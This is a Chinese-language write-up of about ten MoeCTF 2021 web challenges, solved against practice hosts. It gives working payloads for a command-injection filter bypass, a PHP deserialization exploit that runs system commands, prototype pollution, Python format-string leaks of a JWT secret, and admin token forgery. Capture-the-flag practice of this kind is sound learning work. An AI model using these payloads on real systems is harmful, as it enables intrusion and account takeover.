[MoeCTF 2021]——Web方向 wp

[MoeCTF 2021]Web安全入门指北—小饼干

在本题中,你需要学习如何发起一个HTTP请求

进入环境后burp抓包

可以看到这里cookie的值是VIP=0

image-20230809165611881

改成VIP=1然后发包,得到flag

image-20230809165653754

[MoeCTF 2021]2048

你是玩2048的高手吗~?

游戏题,要求我们打到5w分,基本上是达不到的

image-20230809171141559

在源码中找到控制分数的属性,obj.score

image-20230809171233093

在控制台设置分数为10000

obj.score=100000

然后玩到Game Over

image-20230809171822975

[MoeCTF 2021]babyRCE

网站管理员添加了种种入侵检测,这该如何是好?

源码如下

 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    
    
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
    
    
        system($rce);
    }else {
    
    
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    
    
    highlight_file(__FILE__);
} 

ls一下,扫描当前目录

node2.anna.nssctf.cn:28721?rce=ls

image-20230809172034556

然后获取flag.php的内容

但是这里把catflag,空格都过滤了

  • cat过滤 ==> c\at绕过
  • 空格过滤 ==> ${IFS}绕过
  • flag过滤 ==> fl\ag

构造payload:

http://node2.anna.nssctf.cn:28721/?rce=c\at${IFS}fl\ag.php

flag在这里

image-20230809173036150

[MoeCTF 2021]unserialize

源码如下

 <?php

class entrance
{
    
    
    public $start;
    function __construct($start)
    {
    
    
        $this->start = $start;
    }

    function __destruct()
    {
    
    
        $this->start->helloworld();
    }
}
class springboard
{
    
    
    public $middle;

    function __call($name, $arguments)
    {
    
    
        echo $this->middle->hs;
    }
}
class evil
{
    
    
    public $end;
    function __construct($end)
    {
    
    
        $this->end = $end;
    }
    function __get($Attribute)
    {
    
    
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    
    
    unserialize($_GET['serialize']);
} else {
    
    
    highlight_file(__FILE__);
} 

构造pop链,倒着找

这里能进行攻击的点就是eval语句

所以最后要触发的就是evil__get()魔术方法

__get() :获得一个类的不可访问或者不存在的成员变量时调用

知道了__get()的触发方式,这里也就找到了springboard__call()魔术方法

__call():在对象上下文中调用不可访问的方法时触发

在向上找,就是entrance__destruct()

__destruct() :对象被销毁时触发

所以pop链如下

evil::__get()<--springboard::__call()<--entrance::__destruct()

构造exp:

<?php
class entrance
{
    
    
    public $start;
    function __construct($start)
    {
    
    
        $this->start = $start;
    }

    function __destruct()
    {
    
    
        $this->start->helloworld();
    }
}
class springboard
{
    
    
    public $middle;

    function __construct($middle)
    {
    
    
        $this->middle = $middle;
    }

    function __call($name, $arguments)
    {
    
    
        echo $this->middle->hs;
    }
}
class evil
{
    
    
    public $end;
    function __construct($end)
    {
    
    
        $this->end = $end;
    }
    function __get($Attribute)
    {
    
    
        eval($this->end);
    }
}
$a=new entrance(new springboard(new evil("system('ls /');")));
echo urlencode(serialize($a)).PHP_EOL;
?>

运行后生成

O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D%7D

payload:

http://node2.anna.nssctf.cn:28022/?serialize=O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D%7D

image-20230809181240332

然后将脚本的ls /改为cat /f*,就可以获得flag,payload:

?serialize=O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A18%3A%22system%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7D%7D

image-20230809181353120

[MoeCTF 2021]Web安全入门指北—GET

什么是HTTP呢?

源码

<?php
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
    
    
    echo $flag;
}else {
    
    
    highlight_file(__FILE__);
}

。。。GET传参,payload:

http://node3.anna.nssctf.cn:28659/?moe=flag

[MoeCTF 2021]Do you know HTTP

检查一下你的学习成果吧

image-20230809182419588

GET请求修改为HS请求

image-20230809182523048

提示只有本地ip地址才可以,XFF伪造ip为127.0.0.1

X-Forwarded-For:127.0.0.1

image-20230809182610428

这里就是Referer头伪造

Referer:www.ltyyds.com

image-20230809182709016

本地浏览器,User-Agent,也就是UA头伪造

User-Agent: LT

image-20230809182843128

得到flag

[MoeCTF 2021]fake game

原型链污染(蚌)

这里不多阐述原型链污染的概念了,可以去看p神的文章

深入理解 JavaScript Prototype 污染攻击

提示我们可以有十点属性来分配,分配肯定是打不过的

image-20230809183352279

可以看发送请求包这种形式,猜测是原型链污染,构造payload:

{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":50000,"attack":50000,"armor":50000}}}

image-20230809184209484

得到flag

[MoeCTF 2021]地狱通讯

进入题目源码如下

from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    f1ag = request.args.get('f1ag') or ""
    exp = request.args.get('exp') or ""
    flAg = FLAG(f1ag)
    message = "Your flag is {0}" + exp
    if exp == "":
        return ctx
    else:
        return message.format(flAg)


if __name__ == "__main__":
    app.run()

首先看代码get请求传入f1agexp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Agexp拼接存在message变量里,如果exp0存在值的话就返回拼接后的字符串。

image-20230809185232357

我们知道format会把f1Ag的值带入到变量message="Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。与下图所示类似:

img

payload:

?f1ag=1&exp={0.__class__.__init__.__globals__} 

这里注意必须是0才可以,因为只有一个f1Ag的值往进传,所以前后必须是一样的,如果为其他数字的话需要俩个变量往进传。

image-20230809190141646

[MoeCTF 2021]地狱通讯-改

源码如下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res
    payload = {
    
    
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        return render_template('flag.html', name=name)


if __name__ == "__main__":
    app.run()
  1. index 路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
  2. hello 路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
  3. 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
  4. 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。

这里admin是绕过不了的,所以只能来进行token伪造

因为这个jwt是指定的headerssecret生成的,所以我们需要利用SSTI漏洞来带出secrettoken

先创建用户得到token

image-20230809191629177

然后带着token去访问hello

image-20230809191737190

可以看到是根据token来判断用户的,这里利用SSTI漏洞来带出secrettoken,payload和上一题类似

payload:

/hello?flag={0.__class__.__init__.__globals__}

image-20230809191903858

这里找到了secretheaders

'secret': 'u_have_kn0w_what_f0rmat_i5',
'headers': {'alg': 'HS256', 'typ': 'JWT'}

将题目给我们生成的token去http://jwt.io验证,填入headerssecret以及token

image-20230809192148577

可以看到签名认证成功,然后再将name改为admin,得到payload:

image-20230809192431649

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.jlAcmWWxtmNLxbxwfRE45Fxf16dX6LQmrK_1dgx7zmg

回到hello路由然后将伪造好的token放进去,然后发包

image-20230809192648352

[MoeCTF 2021]Web安全入门指北—POST

题目有问题

源码

<?php
include "flag.php";
$moe = $_POST['moe'];
if ($moe == "flag") {
    
    
    echo $flag;
}else {
    
    
    highlight_file(__FILE__);
}

直接POST传参就行了

POST Data:
moe=flag

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/132195632